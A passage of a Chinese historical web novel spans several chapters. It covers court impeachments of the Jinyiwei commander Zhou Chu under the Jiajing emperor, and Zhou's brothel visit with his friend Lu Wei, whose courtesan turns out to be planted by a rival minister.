朝堂之上,礼部的一个官员义正言辞道。 “陛下,臣也要参锦衣卫指挥使周楚,暗中养了数千私兵,私藏盔甲,意图谋反,其心可诛。” 兵部的一个官员出列道。 有了这两位的牵头,其他官员纷纷站了出来,还是弹劾周楚。 这些人弹劾周楚的理由,给周楚罗列的罪名五花八门,甚至连周楚背后的那些生意,都成了被弹劾的理由。 嘉靖看着下方这么多人弹劾周楚,眉毛一挑,意识到事情不简单,很显然,这些人是商量好的,或者说是在某些人的授意下才这么做的。 如今的京城,任何风吹草动都瞒不过嘉靖,瞒不过如今权势滔天的锦衣卫。 这段时间有多少官员去毛纪府上,有多少官员去了夏言府上,嘉靖一清二楚。 实际上夏言极为谨慎,并没有让多少人进入夏府,大部分官员都是攀附的毛纪,不过嘉靖清楚,这不过是两人商量好的罢了。 毛纪如今年过六十,想要再进一步,成为内阁首辅,何其之难,更何况如今的局势对毛纪和夏言极为不利,江南的基本盘都快被周楚打散了。 几乎可以预见,如果不扳倒周楚的话,任由严嵩这么搞下去,江南一系不说变成历史,但也会大打折扣,最起码江南的那些官员绝大部分不会再和毛纪他们有所瓜葛。 以如今严嵩在江南实行的商稅和考成法对那些官员的奖励,虽然不是所有官员都看得上那点奖励,毕竟以前那些官员获取的利益更多,但如果继续这么搞下去,大家都得干事,继续在江南一系没有什么利益的话,多半也会脱离他们。 江南一系因利而聚,自然也会因利而散。 毛纪想在内阁更进一步,就必须得接受下面这些官员的攀附,不得不成为他们利益的代言人,人一旦到了某一个位置,说什么话,做什么事,往往是身不由己的。 当年的杨廷和便是如此。 在这官场之上,本就是逆水行舟,不进则退,不是你死便是我活,毛纪夏言等人和周楚断然没有和解的可能,因为他们之间有着根本的利益冲突。 杨一清如果不是年纪这么大了,原本攀附他的官员被周楚查办了一部分,又被嘉靖利用陈万言查办了一部分,导致杨一清根基已失,他也不会像现在这般摆烂。 不过对杨一清而言,这也未必是件坏事,最起码不用像以前那般挖空心思去对付皇帝,对付周楚了,自从放下这些心思之后,杨一清感觉自己轻松多了。 不过此时杨一清眼看着这么多人都站出来弹劾周楚,心中也响起了警钟,这么多人突然站出来,必定是毛纪的主意。 这些天他倒是听到一些风声,说是有很多官员攀附毛纪,没想到会这么多。 朝堂上光站出来弹劾周楚的官员就有一二十位,更不用说其他没站出来的了,杨一清很清楚,底下的那些官员攀附不上自己这个内阁首辅,攀附不上周楚这个锦衣卫指挥使,自然会选择其他人攀附。 这便是官场的生存之道,抱团取暖,抱团前进,正所谓众人拾柴火焰高,一个人的力量和一群人的力量自然是不同的。 杨一清很清楚,毛纪接受这些人的攀附,肯定不只是冲着周楚去的,周楚只是挡住了他的路,但归根结底,职务上和毛纪是没有什么冲突的,毛纪想要更进一步,恐怕得先拿自己开刀。 想明白这些,杨一清内心不禁一阵冷笑,心想毛纪这就沉不住气了,这个内阁首辅的位置,自己可以不要,可以致仕,可以告老还乡,但不能是你们这些人逼迫自己离开。 杨一清宦海沉浮一辈子,绝对无法容忍如此不体面的退场,无数官员,像之前数次请辞的蒋冕,眼看更进一步无望,所求的无非是个体面罢了。 体面,对这些文官而言,尤为重要,谁也不想临了临了,弄得个晚节不保。 谁不想在史书上被记成和皇帝君臣相宜,留下一段佳话。 “还有谁要弹劾周衡器吗?” 嘉靖面无表情地看着下方的官员道。 嘉靖此话一出,下方陷入了一片寂静之中,显然,该弹劾的都已经站了出来,没有站出来的,在嘉靖这种语气之下,自然不会头铁的继续站出来。 要知道如今的嘉靖可是牢牢掌握着整个朝局,这些官员可不敢和他硬刚。 “那好,既然没有了,那就一个一个来,方楷,你说周衡器未经通报,私自入京?陆文孚的弟弟陆文心大婚在即,周衡器和陆家的关系,没人不知道吧?他回京参加陆文心的大婚,早已跟朕说过,朕私下里准了,本就是私事,朕也就没通过内阁,有何不妥吗?” 嘉靖看着第一个弹劾周楚的官员,面容微冷道。仦說Ф忟網 “至于说周衡器养了数千私兵,私藏兵甲,更是无稽之谈,那跟在周衡器身边的两千将士,是在朕的允许之下,由周衡器负责招募和训练,虽然人数不多,却极为精锐,被朕命名为玄武军,原本是镇守在海上的,如今我大明的海军,都是被玄武军带出来的。” 嘉靖看着下方的官员,越说语气越冷,这让那些弹劾周楚的官员不禁感到头皮发麻,毕竟他们面前的这个少年皇帝从来都不是省油的灯,如果因为这件事被皇帝记恨,他们只是想想就觉得脊背发寒。 “陛下所言甚是,周大人一心为国为民,为了大明可谓是呕心沥血,你们这些人为大明做了什么?如今却一个个搬弄是非,在这里无端攻讦周大人,如此做派,岂不是让周大人心寒?” 韩玠出列,看着这些官员,痛斥道。 “臣也以为这些人其心可诛,不过臣觉得很奇怪,之前虽说也有弹劾周大人的,但像今日这般这么多人,编造的理由千奇百怪,倒是罕见,不知道是不是商量好的?” 杨慎也站了出来,看了看这些官员,又看了看毛纪,阴阳怪气道。 “朕倒是听闻,这些天毛维之府上可谓是门庭若市。” 嘉靖眼看韩玠和杨慎站出来转移话题了,很是满意,这么多官员弹劾周楚,嘉靖自然不能一个一个去驳斥,驳斥那么一两个意思一下就行了。 倘若一个皇帝把自己和官员摆在同一个位置上,一点点去讲道理的话,那就是落入了对方的套里。 嘉靖要做的不只是帮周楚,还要反制。 “陛下,臣惶恐,这几日臣的小孙子过百日,确实有不少同僚来祝贺。” 毛纪嘴上说着惶恐,脸上却是从容淡定,大明对朋党一直都是默认的态度,朝廷也从未严禁官员之间结党,不过这些事都属于潜规则,可以去做,但不能拿到明面上来说。 所以毛纪嘴上还是要找个理由的,心里却是一点都不担心。 对于毛纪的反应,嘉靖并不感到意外,实际上嘉靖也只是想岔开话题罢了,否则这些弹劾周楚的官员没完没了,整个朝会就什么都不用讨论了。 而且嘉靖提出这件事,还有另一重用意。 嘉靖看着毛纪,心中冷笑,表面却是不动声色。 “毛维之,你对朝中官员结党一事如何看待?” 嘉靖问道。 “陛下,朝中哪有所谓的朋党,不过是一些同僚之间互通有无罢了,像臣,年幼时求学,然后科举,有着很多同窗和同年,关系都很不错,难道因为在朝为官,就要和这些同窗同年老死不相往来吗?” 毛纪完全不接嘉靖的话茬,不承认有朋党,更是直接将朋党问题暗示成了嘉靖的不通人情。 毛纪能成为内阁成员,嘴皮子上的功夫自然是极厉害的,他肯定不会被嘉靖牵着鼻子走。 “毛大人此话未免有些顾左右而言他了吧?朋党就是朋党,何必说的如此扭捏作态?未免可笑了些。” 杨慎看着毛纪,嘲讽道。 嘉靖或许喷不过毛纪,但杨慎不同,杨慎可是如今整个朝堂之中最厉害的喷子,没有之一,杨慎很清楚,和毛纪对线,不是皇帝该做的事,而是自己。 果然,毛纪一看到杨慎站出来,顿感头疼,无论是诡辩还是对喷,他都不是杨慎的对手,他实在是想不明白,原本他和杨廷和都是同一个战线的,都是江南一系的,杨廷和在位的时候,毛纪还不遗余力的站在他这边。 谁能想到杨廷和一致仕,作为他儿子的杨慎会变成这副德行。 惹又惹不起,毕竟杨慎可是如今大明文坛的泰斗,惹了他相当于惹了整个大明文坛,这是毛纪不敢做的事。 对喷又喷不过。 不过即便如此,杨慎既然已经率先对他开火了,毛纪自然是不能怂的,否则那些攀附他的官员该如何想,毛纪都不敢想象。 朝堂上毛纪和杨慎对喷的时候,周楚正在自家晒着太阳,看着眼前陆炜满脸无奈的表情。 “你是说你突然发现自己其实没那么喜欢杨苒了?” 周楚看着陆炜道。 “是啊,其实我从没有认真想过自己喜欢的应该是什么样的女人,爹娘安排了,我也就听了,但最近我越来越发现,自己似乎不是真的喜欢杨苒。” 陆炜一副便秘的表情道。 “你是不是最近遇到了什么女人?还是经常逛青楼,被哪个花魁迷了眼?” 周楚一眼就看出了问题所在,看着陆炜,审视道。 听到这话,陆炜一脸的心虚。 “没有的事,我怎么可能是这种人呢?” “你知道的,我是锦衣卫指挥使,我要是想的话,连你每天晚上起夜几次都能查的清楚,想查这点事毫不费力。” 周楚看着陆炜,不疾不徐道。 陆炜听到这话,突然后悔和周楚说这话了,不过现在为时已晚。 “我确实是很喜欢怡春楼的思思姑娘。” 陆炜说这话的时候,整个脸都红了,算起来,他其实算是情窦初开,和杨苒之间确实没有那么多的感觉。 “花魁?” 周楚看着陆炜,疑惑道。 陆炜有些尴尬地点了点头。 “你喜欢她什么?” 周楚继续问道。 “说不清楚,思思姑娘和这些个官家小姐,还有杨苒这种书香世家出来的小姐完全不同,更活泼,也更有想法,和她在一起的时候,我有一种从未有过的感觉。” 陆炜一脸思春的模样说道。 “等你大婚之后,给她赎身,纳入府中,不就行了?杨苒看样子也不是善妒之人。” 周楚继续耐着性子说道。 “可我想让她当正室。” 陆炜低声道。 听到这句话,周楚的耐心终于被消磨完了。 对于陆炜,周楚的容忍度要远高于其他人,一般只要不是什么原则性的问题,新婚后纳个小妾这种事,周楚是懒得问的。 但倘若陆炜昏了头,为了一个窑姐而放弃杨苒,甚至退婚,这是周楚决不能容忍的。 首先,杨夫子毕竟是周楚和陆炜的老师,虽说中间发生了一些龃龉,也早就揭过了,毕竟再怎么说杨夫子也是杨氏的族兄,娘家人,杨苒更是杨氏的侄女。 陆炜贸然退婚,对杨苒的打击是极大的,将来杨苒很难再说上一桩门当户对的婚事。 其次,即便不看这些,单单看陆炜,此时明明是被一个青楼的狐狸精迷了眼,年轻人行差踏错是在所难免的,周楚要做的,就是让他及时醒悟。 倘若陆炜不能及时醒悟,周楚不介意打到他醒悟。 “这半年你的功夫有没有落下?” 周楚看着陆炜,答非所问道。 陆炜被周楚问的有些莫名其妙,不知道周楚为何突然问这个。 “倒是每日都有练,不过和你还有云瑾比肯定是差远了。” 陆炜如实回答道。 “我倒是觉得未必比我差,来陪我过过手。” 周楚站了起来,冲着陆炜摆了摆手道。 陆炜听到这话,虽然不解,却也没拒绝,他觉得自己就算打不过周楚,过过手也不会怎么样。 结果两人刚一搭手,周楚直接一脚将陆炜踹飞,陆炜感觉浑身像散架了一般,疼的龇牙咧嘴的。 “你怎么下手这么重?” 陆炜有些不满道。 “这就重了?今天我要把你打醒。” 周楚说着,根本不给陆炜反应的时间,走上来继续殴打陆炜。 第279章 周楚带陆炜进教坊司 周楚下手很有分寸,陆炜眼看着就要大婚了,周楚自然不会打脸,不然把脸打肿了,大婚的时候不太好看。 “二哥,二哥,我错了,我不敢了!” 陆炜被打的鬼哭狼嚎道。 这种事他是不敢和陆松夫妇说的,甚至连自己的大哥陆炳都不敢说,原本以为和周楚说,周楚应该能理解自己,没想到迎来的最猛烈地打击。 “错哪了?” 周楚看着陆炜,挑了挑眉毛道。 “我不应该想退婚,这样对杨苒太不公平了。” 陆炜诚恳道。 “原来你不是不懂啊,那你还说出这种话,更该打了。” 周楚说着就要继续打陆炜。 陆炜很没骨气的直接跪在了周楚面前。 “二哥,我真错了,我鬼迷了心窍,你放过我吧。” 陆炜满脸惭愧道。 周楚也只是做做样子,并没有继续打陆炜,不过周楚很清楚,陆炜现在的后悔只是暂时的,是被自己打出来的,一旦他再次进入青楼和那个所谓的花魁接触,花魁几句软话,就让他找不着北了。 说白了还是之前没怎么接触过女人,这刚一接触青楼花魁,哪里受得了花魁的那些个招式和绕指柔。 陆炜对花魁,算不上爱,而是另一种,一时的新鲜,但又不好拒绝花魁的要求,这段时间对花魁上了头,才有了这种冲动。 想要彻底解决这个问题也很简单,陆炜这个年纪,正是图新鲜的时候,有句话说得好,想要彻底铲除一块地上的野草,最好的方法不是只除草,而是在上面种满麦子。 “再过几日你就要大婚了,趁着你没大婚,我带你去见见世面,省的见到一个什么野鸡就当成宝贝。” 周楚看着陆炜道。 陆炜听到这话,有些摸不着头脑。 “见什么世面?” “跟我走就行了。” 周楚说着来到了马棚,将乌骓马牵了出来,乌骓马回京之后,吃的都是上好的精料,身上的毛发愈发光亮,周楚捋了捋乌骓马颈部的毛发,随后翻身上马。 陆炜见状,急忙从马棚之中牵出另外一匹马,这是周楚之前送给他的一匹马,虽然不如乌骓马,也是上等的好马,因为周楚府中一直都有御马监的太监帮忙养马,周府和陆府又挨着,陆炜干脆将这匹马放在周楚府中养着。 “陆公子小心些。” 一旁的御马监太监陈通忍不住叮嘱道。 陈通自从跟着周楚养马以来,虽然官职上没有任何进步,但陈通跟的人可是周楚,周楚在做锦衣卫指挥使之前,就不知道自己赚了多少钱了,做了锦衣卫指挥使之后,生意更是扩大到了辐射整个大明的地步。 更不用说周楚这么多次抄家都会给自己留一些钱财,单单是这一部分,就不知道有多少了。 周楚现在有多少钱,自己都不清楚。 周楚甚至可以想象,倘若有一天自己被搬到了,被抄了家,史书上恐怕会大书特书,锦衣卫指挥使周楚被查办,抄家抄出白银过亿等等。 周楚一直都很清楚,自己的家产很多,倘若朝廷没钱,皇帝没钱,很容易被盯上。 所以周楚一直以来做的事就是让朝廷变得有钱,皇帝比自己更有钱,只有这样,自己的钱才不会被人注意到。 实际上周楚虽然拥有钱财无数,但并没有引起太多人的注意,毕竟周楚经商也只是在成为锦衣卫指挥使之前,那时候赚的钱虽然不少,却也有限。 成为锦衣卫指挥使之后,周楚的生意就由明转暗了,大部分生意都是楚璃在打理,周楚很有钱,但没多少人能注意的到。 这就是周楚想要的局面。 陈通这几个负责养马的太监跟了周楚之后,周楚自然不会亏待他们,除了御马监的俸禄之外,周楚每个月还会给他们每人一百两的月钱,一年就是一千多两。 这只是最基础的,每次周楚心情不错的时候,都会随手赏他们一些小玩意,这些东西多半是周楚瞧不上的,但却价值不菲。 陈通这几个太监,仅仅一年多的时间,每人就存下了数千两,这要是在御马监,他们是想都不敢想,不知道要干多少年才能有这么多钱。 所以他们是塌下心来跟着周楚养马了,当然,他们同时也是嘉靖的耳目,这一点,周楚清楚,嘉靖也清楚,双方都默认了这件事。 周楚骑着乌骓马带着陆炜直奔教坊司而去。 “大人!” 周楚刚到教坊司门口,那几个守门的小厮急忙低下了头行礼,不敢抬头看周楚。 周楚身上的飞鱼服整个京城可是独一份,更何况如今的教坊司,更是将周楚的画像给了每个人看过,生怕哪个不开眼的惹了周楚这位活阎王。 周楚下马,将乌骓马的缰绳丢给小厮,随后从怀中拿出一锭五两的银子,随手丢了过去。 “伺候好它。” 小厮接过银子,满脸惶恐。 “大人您的钱小的不敢要,小的一定伺候好您的爱马。” 小厮说着双手举着银子,躬身举过头顶。 周楚瞥了一眼小厮,没有去接银子,也没有再多给他一个眼神,转身进了教坊司。 陆炜急忙将缰绳递给了另外一个小厮,想有样学样给小厮一点银钱,但摸了摸,发现自己身上没带,顿时有些尴尬。 “公子,您快进去吧,周大人要走远了。”尛說Φ紋網 小厮是个会来事的,一眼就看穿了陆炜的尴尬,说道。 陆炜听到这话,急忙追了进去。 “身上没带钱?” 周楚瞥了一眼脸色略微尴尬的陆炜,问道。 “这不是出来的急嘛。” 陆炜给自己找补道。 周楚听到这话,从怀中拿出几张银票,递给了陆炜。 “记住,钱是男人的胆,权是男人的魄,出门在外,有钱才有底气。” 陆炜接过银票仔细一看,周楚给自己的这几张银票,居然有五六千两。 “这也太多了吧。” 陆炜第一次拿这么多钱,顿时感觉有些烫手。 “拿着就是了,不够再和我说。” 周楚笑道。 第280章 柳思思的变化,局促的陆炜 “周大人。” 教坊司的大小官员得知周楚来了,不论在干什么的,即便是在床上的,都着急忙慌的穿上了衣服,一路小跑来到了周楚面前,恭敬行礼。 教坊司的官员一般不会看其他官员的脸色,毕竟能在教坊司混的,也不太在乎名声,多半是某些家族的纨绔子,或者无心仕途的,家里想办法给安排到了教坊司。 这些人对于仕途基本没有任何想法,毕竟在教坊司混过的,基本没什么升迁的希望,其他官员也都看不起他们。 不过他们大多也不在乎,基本都是在这教坊司混吃等死,女人是从来都不缺的。 一般的官员他们是不怕,但周楚是谁,锦衣卫指挥使,别说锦衣卫指挥使了,即便是一个锦衣卫的千户来了,他们都得好生接待,否则就够他们喝一壶的。 “都散了吧,留下个听差的就行。” 周楚看着这么多人,有些不耐烦地摆了摆手道。 听到这话,众人如释重负,急忙离去,只留下一个教坊司的主管官员。 “有雅间吗?” 周楚看着此人道。 “当然有,小的这就给大人安排最好的雅间。” 这个教坊司的官员甚至都不敢在周楚面前自称下官,只敢自称小人。 他说完这话,就在前面带路,周楚和陆炜两人跟着此人来到教坊司后院的一个极为豪华的楼阁之中。 “大人,此处便是教坊司最豪华的雅间,一般不对外人开放。” 教坊司的官员恭敬道。 周楚看着房间里的布置,虽然没有后世的那般豪华和纸醉金迷,却也别有一番书香气,不知道的还以为这里是读书的地方呢。 房间之中点的香,也是来自南洋上等的沉香,周楚的厢房之中每天都点着最极品的沉香,那些沉香都是嘉靖赏赐给周楚的,闻的多了,倒也对沉香有了些研究。 这房间之中的沉香虽然不如周楚用的那些,却也差不了太多,不是一般人家能用的起的。 “把你们教坊司最好的几位红倌人都叫来,陪我这位兄弟,对了,那个叫什么来着,柳思思对吧,也叫过来。” 周楚努力回想着柳思思的名字,如果说这教坊司之中的清倌人能给周楚留下一点印象的,也就是之前整日给周楚倒酒的柳思思了。 “小人马上去安排。” 教坊司的官员说着就退下了。 柳思思自从去过周楚府上之后,教坊司的官员发现周大人似乎对柳思思比其他清倌人要看重一些,根据其他清倌人的描述,每次都是柳思思在周大人身边伺候着。 而且当时周楚赏给了包括柳思思在内的那些清倌人每人不少银钱,教坊司的官员因为周楚的关系,给柳思思安排了一处更好的住处,再也不让她抛头露面了。 如此一来,柳思思整日只需要做自己想做的事,只要不离开教坊司的范围,没人会管她。 对于教坊司的官员而言,周楚是不是对柳思思青眼有加不重要,重要的是,柳思思伺候过周大人,那么柳思思就只能伺候周大人了,就不是其他人能够再见的了。 这是一个态度问题。 于教坊司而言,和柳思思差不多的清倌人有很多,多一个柳思思不多,少一个不少,既如此,何必因为一个柳思思,去做可能得罪锦衣卫指挥使周大人的事。 能当官的,特别是能在教坊司混的如鱼得水的,最清楚谁能得罪,谁不能得罪。 所以这半年时间,柳思思和自己的丫鬟待在自己的住处,极少出去。 自从见识了周楚这等男人,柳思思对其他男人再也看不入眼,不过柳思思也清楚,自己和周大人之间差了十万八千里,柳思思倒也没奢望什么,现在的生活她很满意,最起码不用每天做自己不喜欢做的事了。 闲暇时间,柳思思基本都在看书,什么书都看,她只想通过不断地学习,试图拉近一些和周楚之间的距离,虽然她清楚,这也只是妄想罢了。 不过人总是要有一些念想的,总是要找一些事做的。 “柳思思,周大人叫你。” 柳思思正看一本关于周楚的话本的时候,教坊司的官员来到柳思思房外,说道。 柳思思听到这话,眼睛顿时亮了,她生怕自己听错了。 “周大人?锦衣卫指挥使周大人吗?” 柳思思有些患得患失道。 “还能是哪位周大人?其他人怎么敢劳驾你呢。” 教坊司的官员有些无奈道。 “容我准备准备,我都没有上妆。” 柳思思听到这话,又是欣喜又是慌乱,她这大半年的时间没有抛头露面了,平日里在房中基本都是不上妆的,最多也只是稍微涂点胭脂。 “哎呦,我的姑奶奶,那可是周大人,您怎么敢让他等的,您可是天生丽质,不上妆也不影响,赶紧走吧。” 教坊司的官员一听这话,顿时急了,他都不敢想,要是周楚等的不耐烦了,自己将会面临什么。 柳思思听到这话,顿时有些慌乱,急忙披上一件紫色云纱,就出了门。 教坊司的官员说的倒是没错,柳思思天生丽质,不上妆比上妆甚至多了一丝清丽的感觉,一副我见犹怜的模样。 “你这等模样倒是少见。” 周楚瞥了一眼柳思思,说道。 此时的陆炜已经被教坊司最顶级的几位红倌人围在中间了,陆炜原本这方面的经验就不多,此时面对这种场面,顿时有些手足无措,那些红倌人见到陆炜这种初哥模样,一个个都开始调戏起了他。 “这位公子好面生,莫非是第一次来教坊司?” 其中一个红倌人一边用手指在陆炜的脸上轻轻拂过,一边吹着气说道。 “是....” 陆炜面色涨红道。 他之前虽然去过青楼,但每次去都是去找那个花魁,哪里面对过这等场面,还是当着周楚的面,他自然放不开。 “我这位兄弟心里有个忘不掉的人,你们谁要是能让他忘掉那个女人,赏千金。” 周楚从柳思思手中接过酒杯,一饮而尽道。 那些红倌人一听这话,眼睛都亮了,看着陆炜的眼神也都变了。 第281章 春兰的过往,乐不思蜀的陆炜 身份地位到达一定程度之后,一般女人对那些达官显贵都是唾手可得的,甚至很多富贵人家的公子,在年轻的时候都要经受家中丫鬟的诱惑,虽然每家主母都严禁底下的丫鬟勾引少爷,但哪个丫鬟不想爬上少爷的床,一步登天呢? 当然,这事风险都很大,一般的高门大户,对这种事很忌讳,特别是那些被寄予厚望的嫡子,居住的院落安排什么丫鬟,都是极其讲究的,要是发现有丫鬟勾引少爷,轻则被发卖出去,重则被打的半死,甚至被打死也就打死了。 当初的春兰,不过是个黄毛丫头,第一次被卖到一个高门大户之中,那家的少爷本就是个纨绔子弟,却极善伪装,在他爹娘面前那就是前途一片光明的嫡子。 春兰被分配到了这个纨绔子的院落,其实也不是什么贴身丫鬟,就是个粗使丫鬟,毕竟年纪不大,什么都不太会,也就能干点院子里的粗活。 这个纨绔子喝了酒,醉眼朦胧,就对春兰动手动脚的,刚好被当家主母撞见了,这事无论是谁的错,最后都是春兰的错,纨绔子的娘永远都会为她自己的儿子找补,于是春兰就成了妄图勾搭大少爷的狐媚子,被打成了血葫芦,发卖出去了。 幸好遇到了周楚的表叔,都则当天夜里恐怕都活不过去。 周楚成为锦衣卫指挥使之后,春兰这个周府大管家在京城自然是无人敢惹,特别是周楚从苏州府回京后,春兰早已习惯了周府大管家的权势,以前的那些账自然是要算的。 那家人得知当年差点被他们打死的小丫鬟,如今成了周府大管家的时候,全都吓坏了,他们完全不知道该怎么办了。 实际上这件事根本就不需要春兰经手,那些想要讨好周楚的锦衣卫,想要走搭上春兰这个门路的锦衣卫就把这家人全都抓了起来。 当然,也不是硬抓,这些锦衣卫虽然想讨好春兰,但多少也是知道周楚的性格的,周楚作为锦衣卫指挥使,一向是嫉恶如仇的,之前查办的那么多官员,没有一个是冤枉的。 或许有查的不尽不实之处,毕竟当时办的太匆忙了,但这些官员周楚让人事后一一核查的时候,发现绝没有一个是干净的。 不得不说,这满朝文武,真正的清官屈指可数。 这家也是,本身都不是当官的,不过是一家富户罢了,但这家人做的腌臜事可不少,暗地里勾结官府,吞并百姓土地,甚至打死人的事没少干,之前锦衣卫只是把眼光盯在了那些官员身上,京城之中和官员勾结的富户倒是没怎么查。 在一名锦衣卫百户的带领下,这家人被查的底掉,春兰来到昭狱之中,见到这一家的时候,并没有那种报复的快感。 春兰将这件事一五一十的告诉了周楚,周楚不置可否,下面的人想进步很正常,只要不胡来,顺便帮春兰报个仇,倒是个不错的法子。尛說Φ紋網 对于达官贵人而言,一般的女人唾手可得,什么玩法几乎也都玩过了,扬州瘦马也都玩过,所以很难有新鲜感,这也是为何在士大夫阶层男风盛行的原因之一。 一旦什么都尝试过了,就想玩一些从未玩过的。 教坊司的每一个女人,无论是清倌人还是红倌人,在正式抛头露面之前,都会经过严格的培训,有才艺的如柳思思这般的,就着重培养才艺,琴棋书画,言谈举止,以此来抬高她日后作为清倌人的身价。 清倌人学的就是如何拿捏这些达官显贵的心,尤其是清倌人之中的头牌,更是对这些达官显贵爱搭不理,越是如此,这些达官显贵们越是吃这一套。 人都是对唾手可得的人和物不屑一顾,对于求而不得,众星捧月的女人心痒难耐。 教坊司之中的清倌人便是如此,越是清高,越是高高在上,那些达官贵人越是趋之若鹜,花钱花时间,就是想一亲芳泽。 反而是得到之后,便不会再珍惜,多数会弃之如履。 那些没什么才学,或者才学不够好的,就直接培养成红倌人,红倌人和清倌人只有一字之别,际遇却是天差地别,红倌人学的不是琴棋书画,而是吹拉弹唱,十八般武艺。 教坊司这种地方,你能想到的,红倌人基本都会,那些一般的青楼和教坊司相比,不知道要差了多少,一般青楼之中的头牌,在教坊司之中也只是一般的红倌人。 陆炜被几位红倌人拉着,半推半就的去了阁楼的厢房之中。 周楚则捏着柳思思的下巴,仔细端详着柳思思的脸。 “你今日确实和以往看上去有些不一样。” 周楚喝了口酒道。 “贱妾今日没有上妆,大人来的突然,教坊司的管教又怕大人久等,就没让贱妾上妆。” 柳思思怯生生道。 周楚听到这话,倒是有些疑惑了。 “为何没上妆?” 周楚问这话的意思也很明确,教坊司的清倌人按理说每日都应该保持最好的状态,准备迎接众星捧月,这个时间不上妆,怎么都说不过去。 “自从贱妾去过大人府上之后,那些管教们就不让贱妾抛头露面了,贱妾倒是闲了下来,每日只是看看书,弹弹琴。” 柳思思如实回答道。 周楚听到这话,顿时恍然,想来是教坊司怕继续让柳思思抛头露面得罪自己这个锦衣卫指挥使,毕竟他们拿不准自己对柳思思是何种态度。 周楚自从半年前解禁之后,欲望的阀门就被再次打开了,不过这半年的时间要么是在大同,要么是在余姚,根本没心思想这些,此时看到柳思思这副模样,心里的火再也压不住了。 “带我去你的住处看看。” 周楚看着柳思思道。 柳思思当然明白周楚这话是什么意思,她听到这话,心中不但没有任何抵触,反而很是惊喜,她没想到周楚会突然对自己提出这种要求。 倒是旁边跟着的沈炼,听到这话,满心的戒备,他还真怕这个女人对大人不怀好意,虽然这种可能极低,毕竟半年以前这个女人在周府的时候早已被大人折服。 但毕竟半年过去了,这半年能发生什么,谁也不清楚,作为周楚的亲卫,他要做的就是保护周楚的安危,一旦有任何不对,他会毫不犹豫的杀入柳思思的闺房。 第282章 柳思思的心思,汗流浃背的陆炜 周楚离开教坊司之前,并没有给柳思思任何钱财,因为周楚清楚,这对一个清倌人而言是一种侮辱,特别是对柳思思这种。 实际上周楚不需要给柳思思留任何东西,柳思思侍奉周大人的消息很快就传遍了教坊司,教坊司的大小官员管教知道了这个消息之后,对柳思思的态度全都变了。 以前他们还可以对柳思思颐指气使,但现在不同了,他们再面对柳思思的时候,都得陪着笑脸。 “要不要给您换一个更大的厢房?” 一个教坊司的官员在柳思思面前陪着笑说道。 “不用,我在这里住惯了。” 柳思思拒绝道。 实际上柳思思不想换住处,是因为这里有她和周楚的回忆,虽然柳思思很清楚,周大人根本不会把自己当回事,顶多是当个玩意,偶尔解解乏,不过柳思思也是心甘情愿。 更何况现如今整个教坊司谁不得看自己的脸色,这不比以前的生活要好多了? 教坊司的官员听到这话,大概也明白柳思思的心思,也就没再强求。 “您这边的用度回头我让下边的人都给换成最好的。” 教坊司的官员说完这话,就离开了。 “小姐,为何不求周大人帮一帮您的家人?” 柳思思的婢女有些不解地看着柳思思道。 “周大人说的很有道理,做错了事,就要接受惩罚,周大人从来都不是因私废公之人,我如果提出这种要求,周大人或许会同意,但以后恐怕不会再来找我了。” 柳思思一边对着镜子看着自己的模样,一边说道。 “最近半年我一直在读书,读的书越多,越是明白一个道理。” 柳思思继续说道。 “什么道理?” 丫鬟疑惑道。 “我如果真的求周大人帮了我那些族人,回头他们回京之后,恢复身份,不止不会感激我,还会瞧不起我,视我为耻辱。” 柳思思冷笑道。 “倒不如现在,我每隔一两个月让人给他们去送些钱财,他们虽然流放,但日子也不会过的多苦,有我给他们的这些钱财,他们应该能过的不错,如此一来,他们离不开我,只会对我感激涕零。” 柳思思看着丫鬟说道。 丫鬟听到这话,若有所思地点了点头。 “小姐说的极是,就算小姐真的救了他们,他们恐怕也不会丝毫感激小姐。” 丫鬟很清楚,自家小姐毕竟进了教坊司,即便是清倌人,但对那些高门大族而言从来都是耻辱,一旦柳思思的族人恢复了身份,第一个唾弃的就是柳思思,以及和柳思思一起进入教坊司的同族女人。 现在柳思思不止能顾得上族人,经常让人给他们送去钱财,甚至还可以让教坊司的那些官员将她同族的女人都照顾好。 这一切都是因为他服侍过锦衣卫指挥使周楚周大人,即便周楚什么都没说,教坊司的这些官员也不敢丝毫得罪柳思思,不然的话,柳思思哪天在周楚面前给这些人穿小鞋,就够他们喝一壶的。 周楚和陆炜出了教坊司,周楚看着陆炜有些腿软的模样,面露不屑。 “你这也不行啊,这就腿软了?” “那些女人都是狐狸精,一起上谁受得了,你去你也受不了。” 陆炜双手扶着腰,不断揉捏着腰眼道。 “白练了这么多年的武功,回头教你一个法子,有奇效。” 周楚看着陆炜,意味深长道。 “什么法子?” 陆炜一听这话,顿时来了精神。 “古代有个老将军,每天艾灸关元穴,到了八十岁都可以夜御十女,这种传闻虽然有些夸张,不过艾灸关元,效果确实猛,不过要坚持,每日艾灸。” 周楚也不藏着掖着,笑道。 陆炜默默将周楚说的法子记了下来,决定回家后就试一试,这次折腾的太厉害,确实需要补一补。 “现在可还想着你那个花魁?” 周楚看着陆炜,问道。 “不想了,那娘们和教坊司的这些红倌人一比,也就那样。” 陆炜摆了摆手道。 周楚听到这话,露出一副果然如此的神情,让陆炜很不好意思。 “之前那个女人一直和我说,我实在是不知道怎么拒绝,原本也是想着大婚之后给她赎身,纳为妾室也就罢了,可她非说自己不愿意给人当妾,一说当妾就要死要活的。”ωww.xSZWω㈧.NēΤ 陆炜说这话的时候,羞臊的满脸通红。 周楚听到这话,顿时冷笑不已。 “那是你小子被她拿捏死了,换个人你看看她敢这么要求吗?你也是个面人,在女人面前还如此面,以后成家了活该杨苒管着你。” 周楚甚至怀疑,那个所谓的青楼花魁身份不简单,或者说来者不善。 无论是周楚还是陆家,早已成为京城之中无数人的眼中钉肉中刺,欲除之而后快。 周楚府中是刀插不进,水泼不进,想要往周府安插人手,难如登天,除非周楚自己主动要求,比如那几个养马的太监。 那么陆府就成了退而求其次的选择了,不过陆府想安插人也不是那么简单的,陆家世代锦衣卫,陆府上下无论是丫鬟还是下人,还都是孙强亲自安排的,没有任何问题。 这种情况下,那些人想要往陆府安插人手,陆炜无疑是最好的突破口。 实际上这件事周楚在来教坊司之前,就让大柱安排锦衣卫去查了。 “大人,查清楚了,那个怡春楼的头牌来历确实有问题,这个叫春盈的,半年前才出现在怡春楼,并且迅速成为了头牌,根据我们的初步调查,这个女人十有八九是毛纪毛大人安排的,毛府的官家去怡春楼找过她好几次。” 周楚和陆炜刚刚回到家,一个锦衣卫百户早已等候在周府之中,他自然没有去打扰周大人的春宵一刻,安静的在周府等着周楚和陆炜回来。 